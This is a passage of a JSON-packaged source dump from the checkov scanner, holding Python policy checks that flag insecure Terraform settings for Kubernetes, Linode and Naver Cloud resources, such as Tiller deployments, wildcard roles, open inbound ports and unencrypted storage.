    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass Tiller(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Tiller (Helm v2) is not deployed\"\n        id = \"CKV_K8S_34\"\n        supported_resources = [\"kubernetes_pod\", \"kubernetes_pod_v1\",\n                               \"kubernetes_deployment\", \"kubernetes_deployment_v1\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if \"metadata\" in conf and isinstance(conf[\"metadata\"], list):\n            metadata = conf.get(\"metadata\")[0]\n\n            if metadata.get(\"labels\") and isinstance(metadata.get(\"labels\"), list) and isinstance(metadata.get(\"labels\")[0], dict):\n                labels = metadata.get(\"labels\")[0]\n                self.evaluated_keys = [\"metadata/[0]/labels\"]\n                if labels.get(\"app\") == \"helm\":\n                    self.evaluated_keys = [\"metadata/[0]/labels/[0]/app\"]\n                    return CheckResult.FAILED\n                elif labels.get(\"name\") == \"tiller\":\n                    self.evaluated_keys = [\"metadata/[0]/labels/[0]/name\"]\n                    return CheckResult.FAILED\n\n        if \"spec\" not in conf:\n            self.evaluated_keys = [\"\"]\n            return CheckResult.FAILED\n        spec = conf['spec'][0]\n        evaluated_keys_path = \"spec\"\n        if not spec:\n            return CheckResult.UNKNOWN\n\n        template = spec.get(\"template\")\n        if template and isinstance(template, list):\n            template = template[0]\n            metadata = template.get(\"metadata\")\n            if metadata and isinstance(metadata, list):\n                metadata = metadata[0]\n\n                if metadata.get(\"labels\") and isinstance(metadata.get(\"labels\"), list) and isinstance(metadata.get(\"labels\")[0], dict):\n                    labels = metadata.get(\"labels\")[0]\n                    self.evaluated_keys = [f\"{evaluated_keys_path}/[0]/template/[0]/metadata/[0]/labels\"]\n                    if labels.get(\"app\") == \"helm\":\n                        self.evaluated_keys = [f\"{evaluated_keys_path}/[0]/template/[0]/metadata/[0]/labels/[0]/app\"]\n                        return CheckResult.FAILED\n                    elif labels.get(\"name\") == \"tiller\":\n                        self.evaluated_keys = [f\"{evaluated_keys_path}/[0]/template/[0]/metadata/[0]/labels/[0]/name\"]\n                        return CheckResult.FAILED\n\n            template_spec = template.get(\"spec\")\n            if template_spec and isinstance(template_spec, list):\n                spec = template_spec[0]\n                evaluated_keys_path = f'{evaluated_keys_path}/[0]/template/[0]/spec'\n\n        containers = spec.get(\"container\")\n        if not containers:\n            return CheckResult.UNKNOWN\n        for idx, container in enumerate(containers):\n            if not isinstance(container, dict):\n                return CheckResult.UNKNOWN\n            if container.get(\"image\") and isinstance(container.get(\"image\"), list):\n                image = container.get(\"image\")[0]\n                if \"tiller\" in image:\n                    self.evaluated_keys = [f'{evaluated_keys_path}/[0]/container/[{idx}]/image']\n                    return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = Tiller()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/TillerService.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass TillerService(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that the Tiller Service (Helm v2) is deleted\"\n        id = \"CKV_K8S_44\"\n        supported_resources = [\"kubernetes_service\", \"kubernetes_service_v1\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if \"metadata\" in conf and isinstance(conf[\"metadata\"], list):\n            metadata = conf.get(\"metadata\")[0]\n\n            if metadata.get(\"labels\") and isinstance(metadata.get(\"labels\"), list) \\\n                    and isinstance(metadata.get(\"labels\")[0], dict):\n                labels = metadata.get(\"labels\")[0]\n                self.evaluated_keys = [\"metadata/[0]/labels\"]\n                if labels.get(\"app\") == \"helm\":\n                    self.evaluated_keys = [\"metadata/[0]/labels/[0]/app\"]\n                    return CheckResult.FAILED\n                elif labels.get(\"name\") == \"tiller\":\n                    self.evaluated_keys = [\"metadata/[0]/labels/[0]/name\"]\n                    return CheckResult.FAILED\n\n        if \"spec\" not in conf:\n            self.evaluated_keys = [\"\"]\n            return CheckResult.FAILED\n        spec = conf['spec'][0]\n        if not spec:\n            return CheckResult.UNKNOWN\n\n        if spec.get('selector') and isinstance(spec.get('selector'), list):\n            selector = spec.get('selector')[0]\n            if selector and isinstance(selector, dict):\n                for v in selector.values():\n                    test = str(v).lower()\n                    if 'tiller' in test:\n                        self.evaluated_keys = [\"spec/[0]/selector/app\"]\n                        return CheckResult.FAILED\n            return CheckResult.PASSED\n        return CheckResult.UNKNOWN\n\n\ncheck = TillerService()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/WildcardRoles.py",
    "content": "from typing import List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass WildcardRoles(BaseResourceCheck):\n\n    def __init__(self):\n        name = \"Minimize wildcard use in Roles and ClusterRoles\"\n        id = \"CKV_K8S_49\"\n        supported_resources = [\"kubernetes_role\", \"kubernetes_role_v1\",\n                               \"kubernetes_cluster_role\", \"kubernetes_cluster_role_v1\"]\n\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        rules = conf.get(\"rule\")\n        if isinstance(rules, list) and rules:\n            for rule in rules:\n                if \"api_groups\" in rule:\n                    if rule[\"api_groups\"] is not None and \"*\" in rule[\"api_groups\"][0]:\n                        return CheckResult.FAILED\n                if \"resources\" in rule:\n                    if rule[\"resources\"] is not None and \"*\" in rule[\"resources\"][0]:\n                        return CheckResult.FAILED\n                if \"verbs\" in rule:\n                    if rule[\"verbs\"] is not None and \"*\" in rule[\"verbs\"][0]:\n                        return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"rule\"]\n\n\ncheck = WildcardRoles()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/kubernetes/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/terraform/checks/resource/linode/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/terraform/checks/resource/linode/authorized_keys.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass AuthorizedKeys(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure SSH key set in authorized_keys\"\n        id = \"CKV_LIN_2\"\n        supported_resources = [\"linode_instance\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"authorized_keys\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = AuthorizedKeys()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/linode/firewall_inbound_policy.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass FirewallInboundPolicy(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Inbound Firewall Policy is not set to ACCEPT\"\n        id = \"CKV_LIN_5\"\n        supported_resources = [\"linode_firewall\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"inbound_policy\"\n\n    def get_expected_value(self) -> Any:\n        return \"DROP\"\n\n\ncheck = FirewallInboundPolicy()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/linode/firewall_outbound_policy.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass FirewallOutboundPolicy(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Outbound Firewall Policy is not set to ACCEPT\"\n        id = \"CKV_LIN_6\"\n        supported_resources = [\"linode_firewall\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"outbound_policy\"\n\n    def get_expected_value(self) -> Any:\n        return \"DROP\"\n\n\ncheck = FirewallOutboundPolicy()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/linode/user_email_set.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass EmailExists(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure email is set\"\n        id = \"CKV_LIN_3\"\n        supported_resources = [\"linode_user\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"email\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = EmailExists()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/linode/user_username_set.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass UsernameExists(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure username is set\"\n        id = \"CKV_LIN_4\"\n        supported_resources = [\"linode_user\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"username\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = UsernameExists()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/AccessControlGroupInboundRule.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.type_forcers import force_list\n\n\nclass AccessControlGroupInboundRule(BaseResourceCheck):\n    def __init__(self, check_id: str, port: int) -> None:\n        name = f\"Ensure no access control groups allow inbound from 0.0.0.0:0 to port {port}\"\n        id = check_id\n        supported_resource = ('ncloud_access_control_group_rule',)\n\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource)\n        self.port = port\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n\n        if 'inbound' in conf :  # This means it's an ACG resource with inbound block(s)\n            inbound_conf = conf['inbound']\n            for inbound_rule in inbound_conf:\n                for rule in force_list(inbound_rule):\n                    if isinstance(rule, dict) and self.contains_violation(rule):\n                        self.evaluated_keys = [\n                            f'inbound/[{inbound_conf.index(inbound_rule)}]/port_range',\n                            f'inbound/[{inbound_conf.index(inbound_rule)}]/ip_block',\n                        ]\n\n                        return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n    def contains_violation(self, conf: dict[str, list[Any]]) -> bool:\n        if 'port_range' in conf:\n            port_range = conf.get('port_range')\n\n            if isinstance(port_range, list):\n                port_range = port_range[0].split(\"-\")\n\n                from_port = int(port_range[0])\n                to_port = int(port_range[1]) if len(port_range) > 1 else from_port\n\n                if to_port == 0 and from_port == 0:\n                    to_port = 65535\n\n                if from_port is not None and to_port is not None and (from_port <= self.port <= to_port):\n                    conf_cidr_blocks = conf.get('ip_block', [[]])\n                    if conf_cidr_blocks:\n                        conf_cidr_blocks = conf_cidr_blocks[0]\n                    cidr_blocks = force_list(conf_cidr_blocks)\n\n                    if '0.0.0.0/0' in cidr_blocks:\n                        return True\n\n        return False\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/AccessControlGroupInboundRulePort22.py",
    "content": "from checkov.terraform.checks.resource.ncp.AccessControlGroupInboundRule import AccessControlGroupInboundRule\n\n\nclass AccessControlGroupRuleInboundPort22(AccessControlGroupInboundRule):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_NCP_4\", port=22)\n\n\ncheck = AccessControlGroupRuleInboundPort22()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/AccessControlGroupInboundRulePort3389.py",
    "content": "from checkov.terraform.checks.resource.ncp.AccessControlGroupInboundRule import AccessControlGroupInboundRule\n\n\nclass AccessControlGroupRuleInboundPort3389(AccessControlGroupInboundRule):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_NCP_5\", port=3389)\n\n\ncheck = AccessControlGroupRuleInboundPort3389()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/AccessControlGroupInboundRulePort80.py",
    "content": "from checkov.terraform.checks.resource.ncp.AccessControlGroupInboundRule import AccessControlGroupInboundRule\n\n\nclass AccessControlGroupRuleInboundPort80(AccessControlGroupInboundRule):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_NCP_25\", port=80)\n\n\ncheck = AccessControlGroupRuleInboundPort80()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/AccessControlGroupOutboundRule.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass AccessControlGroupOutboundRule(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure no security group rules allow outbound traffic to 0.0.0.0/0\"\n        id = \"CKV_NCP_3\"\n        supported_resources = (\"ncloud_access_control_group_rule\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        for idx, outbound in enumerate(conf.get(\"outbound\", [])):\n            ip = outbound.get(\"ip_block\")\n            if ip == [\"0.0.0.0/0\"] or ip == [\"::/0\"]:\n                self.evaluated_keys = [f\"outbound/[{idx}]/ip_block\"]\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = AccessControlGroupOutboundRule()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/AccessControlGroupRuleDescription.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AccessControlGroupRuleDescription(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure every access control groups rule has a description\"\n        id = \"CKV_NCP_2\"\n        supported_resource = [\n            'ncloud_access_control_group',\n            'ncloud_access_control_group_rule',\n        ]\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n        https://registry.terraform.io/providers/NaverCloudPlatform/ncloud/latest/docs/resources/access_control_group\n        :return: <CheckResult>\n        \"\"\"\n        group_result = self.check_rule(rule_type='group_or_rule_description', conf=conf)\n        if 'type' not in conf.keys():\n            outbound_result = self.check_rule(rule_type='outbound', conf=conf)\n            inbound_result = self.check_rule(rule_type='inbound', conf=conf)\n            if group_result == CheckResult.PASSED or (outbound_result == CheckResult.PASSED and inbound_result == CheckResult.PASSED):\n                return CheckResult.PASSED\n            return CheckResult.FAILED\n\n        return group_result\n\n    def check_rule(self, rule_type, conf):\n\n        if rule_type == 'group_or_rule_description':\n            self.evaluated_keys = ['description']\n            if conf.get('description'):\n                return CheckResult.PASSED\n            return CheckResult.FAILED\n\n        if rule_type in conf.keys():\n            for rule in conf[rule_type]:\n                if isinstance(rule, dict) and rule.get('description'):\n                    self.evaluated_keys.append(f'{rule_type}/[{conf[rule_type].index(rule)}]')\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = AccessControlGroupRuleDescription()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/LBListenerUsesSecureProtocols.py",
    "content": "\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass LBListenerUsesSecureProtocols(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure LB Listener uses only secure protocols\"\n        id = \"CKV_NCP_13\"\n        supported_resources = ('ncloud_lb_listener',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'protocol' in conf.keys():\n            protocol = conf['protocol'][0]\n            if protocol in ('HTTPS', 'TLS'):\n                self.evaluated_keys = ['protocol']\n                if 'tls_min_version_type' in conf.keys():\n                    self.evaluated_keys = ['protocol/[0]/tls_min_version_type']\n                    if conf['tls_min_version_type'] == ['TLSV12']:\n                        return CheckResult.PASSED\n            return CheckResult.FAILED\n\n\ncheck = LBListenerUsesSecureProtocols()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/LBListenerUsingHTTPS.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass LBListenerUsingHTTPS(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure Load Balancer Listener Using HTTPS\"\n        id = \"CKV_NCP_24\"\n        supported_resources = (\"ncloud_lb_listener\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'protocol'\n\n    def get_expected_value(self):\n        return 'HTTPS'\n\n\ncheck = LBListenerUsingHTTPS()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/LBNetworkPrivate.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom typing import Any\n\n\nclass LBNetworkPrivate(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure Load Balancer isn't exposed to the internet\"\n        id = \"CKV_NCP_16\"\n        supported_resources = (\"ncloud_lb\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"network_type\"\n\n    def get_expected_value(self) -> Any:\n        return \"PRIVATE\"\n\n\ncheck = LBNetworkPrivate()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/LBTargetGroupDefinesHealthCheck.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass LBTargetGroupDefinesHealthCheck(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure HTTP HTTPS Target group defines Healthcheck\"\n        id = \"CKV_NCP_1\"\n        supported_resources = (\"ncloud_lb_target_group\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if conf.get(\"protocol\") in ([\"HTTP\"], [\"HTTPS\"]):\n            health_checks = conf.get(\"health_check\")\n            if health_checks and isinstance(health_checks, list):\n                healthcheck = health_checks[0]\n                if isinstance(healthcheck, dict) and healthcheck.get(\"url_path\"):\n                    return CheckResult.PASSED\n            return CheckResult.FAILED\n        return CheckResult.UNKNOWN\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"protocol\", \"health_check\"]\n\n\ncheck = LBTargetGroupDefinesHealthCheck()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/LBTargetGroupUsingHTTPS.py",
    "content": "from __future__ import annotations\n\nfrom typing import List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass LBTargetGroupUsingHTTPS(BaseResourceCheck):\n\n    def __init__(self):\n        name = \"Ensure Load Balancer Target Group is not using HTTP\"\n        id = \"CKV_NCP_15\"\n        supported_resources = (\"ncloud_lb_target_group\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if \"protocol\" in conf.keys():\n            if conf.get(\"protocol\") != ['HTTP']:\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"protocol\"]\n\n\ncheck = LBTargetGroupUsingHTTPS()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/LaunchConfigurationEncryptionVPC.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass LaunchConfigurationEncryptionVPC(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Basic Block storage is encrypted.\"\n        id = \"CKV_NCP_7\"\n        supported_resources = (\"ncloud_launch_configuration\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"is_encrypted_volume\"\n\n\ncheck = LaunchConfigurationEncryptionVPC()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/NACLInbound20.py",
    "content": "from checkov.terraform.checks.resource.ncp.NACLInboundCheck import NACLInboundCheck\n\n\nclass NACLInbound20(NACLInboundCheck):\n    def __init__(self) -> None:\n        super().__init__(check_id=\"CKV_NCP_8\", port=20)\n\n\ncheck = NACLInbound20()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/NACLInbound21.py",
    "content": "from checkov.terraform.checks.resource.ncp.NACLInboundCheck import NACLInboundCheck\n\n\nclass NACLInbound21(NACLInboundCheck):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_NCP_9\", port=21)\n\n\ncheck = NACLInbound21()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/NACLInbound22.py",
    "content": "from checkov.terraform.checks.resource.ncp.NACLInboundCheck import NACLInboundCheck\n\n\nclass NACLInbound22(NACLInboundCheck):\n    def __init__(self) -> None:\n        super().__init__(check_id=\"CKV_NCP_10\", port=22)\n\n\ncheck = NACLInbound22()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/NACLInbound3389.py",
    "content": "from checkov.terraform.checks.resource.ncp.NACLInboundCheck import NACLInboundCheck\n\n\nclass NACLInbound3389(NACLInboundCheck):\n    def __init__(self) -> None:\n        super().__init__(check_id=\"CKV_NCP_11\", port=3389)\n\n\ncheck = NACLInbound3389()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/NACLInboundCheck.py",
    "content": "from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass NACLInboundCheck(BaseResourceCheck):\n    def __init__(self, check_id, port):\n        name = f\"Ensure no NACL allow inbound from 0.0.0.0:0 to port {port}\"\n        id = check_id\n        supported_resources = ('ncloud_network_acl_rule',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n        self.port = port\n\n    def scan_resource_conf(self, conf):\n        for idx, inbound in enumerate(conf.get('inbound', [])):\n            if inbound['rule_action'] == [\"ALLOW\"]:\n                self.evaluated_keys = [f\"inbound/[{idx}]/ip_block\", f\"inbound/[{idx}]/port_range\"]\n                ip = inbound.get('ip_block', ['0.0.0.0/0'])\n                if ip == ['0.0.0.0/0'] or ip == ['::/0']:\n                    port = inbound.get('port_range', str(self.port))[0]\n                    if port == str(self.port):\n                        return CheckResult.FAILED\n                    elif port.find('-'):\n                        port_range = list(map(int, port.split(\"-\")))\n                        if port_range[0] <= self.port <= port_range[-1]:\n                            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/NACLPortCheck.py",
    "content": "from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass NACLPortCheck(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"An inbound Network ACL rule should not allow ALL ports.\"\n        id = \"CKV_NCP_12\"\n        supported_resources = ('ncloud_network_acl_rule',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if 'inbound' in conf.keys():\n            for idx, inbound in enumerate(conf['inbound']):\n                self.evaluated_keys = [f\"inbound/[{idx}]/port_range\"]\n                if 'port_range' in inbound.keys():\n                    for port_range in inbound['port_range']:\n                        if port_range == \"1-65535\":\n                            return CheckResult.FAILED\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = NACLPortCheck()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/NASEncryptionEnabled.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass EFSEncryptionEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure NAS is securely encrypted\"\n        id = \"CKV_NCP_14\"\n        supported_resources = (\"ncloud_nas_volume\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"is_encrypted_volume\"\n\n\ncheck = EFSEncryptionEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/NKSControlPlaneLogging.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass NKSControlPlaneLogging(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure NKS control plane logging enabled for all log types\"\n        id = \"CKV_NCP_22\"\n        supported_resources = ('ncloud_nks_cluster',)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'log/0/audit/0'\n\n\ncheck = NKSControlPlaneLogging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/NKSPublicAccess.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass NKSPublicAccess(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Naver Kubernetes Service public endpoint disabled\"\n        id = \"CKV_NCP_19\"\n        supported_resources = (\"ncloud_nks_cluster\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'public_network'\n\n    def get_forbidden_values(self):\n        return [True]\n\n\ncheck = NKSPublicAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/RouteTableNATGatewayDefault.py",
    "content": "from typing import List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\n\n\nclass RouteTableNATGatewayDefault(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Routing Table associated with Web tier subnet have the default route (0.0.0.0/0) defined to \" \\\n               \"allow connectivity \"\n        id = \"CKV_NCP_20\"\n        supported_resources = ('ncloud_route',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if \"destination_cidr_block\" in conf.keys() and \"target_type\" in conf.keys():\n            if conf.get(\"target_type\") == [\"NATGW\"]:\n                if conf.get(\"destination_cidr_block\") == [\"0.0.0.0/0\"]:\n                    return CheckResult.PASSED\n                else:\n                    return CheckResult.FAILED\n        return CheckResult.UNKNOWN\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"destination_cidr_block\"]\n\n\ncheck = RouteTableNATGatewayDefault()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/ServerEncryptionVPC.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ServerEncryptionVPC(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Server instance is encrypted.\"\n        id = \"CKV_NCP_6\"\n        supported_resources = (\"ncloud_server\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"is_encrypted_base_block_storage_volume\"\n\n\ncheck = ServerEncryptionVPC()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/ncp/ServerPublicIP.py",
